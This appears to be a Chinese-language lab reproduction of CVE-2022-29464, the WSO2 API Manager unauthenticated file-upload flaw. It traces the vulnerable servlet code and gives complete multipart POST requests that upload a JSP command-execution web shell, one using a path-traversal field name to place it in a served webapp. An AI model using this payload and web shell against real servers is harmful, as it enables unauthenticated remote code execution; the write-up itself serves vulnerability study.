# WSO2 fileupload 任意文件上传漏洞 CVE-2022-29464
# 漏洞描述
CVE-2022-29464 是 Orange Tsai发现的 WSO2 上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意 JSP 文件在 WSO2 服务器上获得 RCE。
# 漏洞影响
# 环境搭建
https://github.com/wso2/product-apim/releases/download/v4.0.0/wso2am-4.0.0.zip (opens new window)
https://github.com/wso2/product-apim/archive/refs/tags/v4.0.0.zip (opens new window)
# 漏洞复现
下载 releases 后进入 bin目录, 执行 api.manager.sh文件,并开启 debug 方便远程调试
打开 product-apim-4.0.0 ,下载依赖,连接Debug进行调试分析
运行后访问 localhost:9443 出现如下即搭建完成
在配置文件 identity.xml 中我们可以看到 路由 /fileupload
中不存在权限鉴定, 对应的 Servlet 为 FileUploadServlet
文件上传为POST请求,对应的处理方法为 doPost (org.wso2.carbon.ui.transports.FileUploadServlet#doPost)
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
try {
fileUploadExecutorManager.execute(request, response);
} catch (Exception e) {
String msg = "File upload failed ";
log.error(msg, e);
throw new ServletException(e);
}
}
2
3
4
5
6
7
8
9
10
11
继续向下,略过调用方法的过程
execute:55, ToolsAnyFileUploadExecutor (org.wso2.carbon.ui.transports.fileupload)
executeGeneric:104, AbstractFileUploadExecutor (org.wso2.carbon.ui.transports.fileupload)
execute:436, FileUploadExecutorManager$CarbonXmlFileUploadExecHandler (org.wso2.carbon.ui.transports.fileupload)
startExec:320, FileUploadExecutorManager$FileUploadExecutionHandlerManager (org.wso2.carbon.ui.transports.fileupload)
execute:127, FileUploadExecutorManager (org.wso2.carbon.ui.transports.fileupload)
2
3
4
5
最后来到出现漏洞的位置 org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor#execute
这里我们构造请求包,上传文件
POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 729
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="1.jsp"; filename="1.jsp"
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
上传时文件名为 1.jsp,成功上传目标会返回 uuid 值, 调试过程中我们可以发现文件被上传在某个目录下
public class ToolsAnyFileUploadExecutor extends AbstractFileUploadExecutor {
@Override
public boolean execute(HttpServletRequest request,
HttpServletResponse response) throws CarbonException, IOException {
PrintWriter out = response.getWriter();
try {
Map fileResourceMap =
(Map) configurationContext
.getProperty(ServerConstants.FILE_RESOURCE_MAP);
if (fileResourceMap == null) {
fileResourceMap = new TreeBidiMap();
configurationContext.setProperty(ServerConstants.FILE_RESOURCE_MAP,
fileResourceMap);
}
List<FileItemData> fileItems = getAllFileItems();
//String filePaths = "";
for (FileItemData fileItem : fileItems) {
String uuid = String.valueOf(
System.currentTimeMillis() + Math.random());
String serviceUploadDir =
configurationContext
.getProperty(ServerConstants.WORK_DIR) +
File.separator +
"extra" + File
.separator +
uuid + File.separator;
File dir = new File(serviceUploadDir);
if (!dir.exists()) {
dir.mkdirs();
}
File uploadedFile = new File(dir, fileItem.getFileItem().getFieldName());
try (FileOutputStream fileOutStream = new FileOutputStream(uploadedFile)) {
fileItem.getDataHandler().writeTo(fileOutStream);
fileOutStream.flush();
}
response.setContentType("text/plain; charset=utf-8");
//filePaths = filePaths + uploadedFile.getAbsolutePath() + ",";
fileResourceMap.put(uuid, uploadedFile.getAbsolutePath());
out.write(uuid);
}
//filePaths = filePaths.substring(0, filePaths.length() - 1);
//out.write(filePaths);
out.flush();
} catch (Exception e) {
log.error("File upload FAILED", e);
out.write("<script type=\"text/javascript\">" +
"top.wso2.wsf.Util.alertWarning('File upload FAILED. File may be non-existent or invalid.');" +
"</script>");
} finally {
out.close();
}
return true;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
但文件名是我们可控的,拼接的过程中我们通过控制文件名遍历目录,将文件上传到我们需要的位置, 查找可以解析 jsp文件的目录
构造请求包,通过控制文件名的方法上传至该目录中
POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 729
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
访问上传的文件,/authenticationendpoint/xxx.jsp?cmd=ls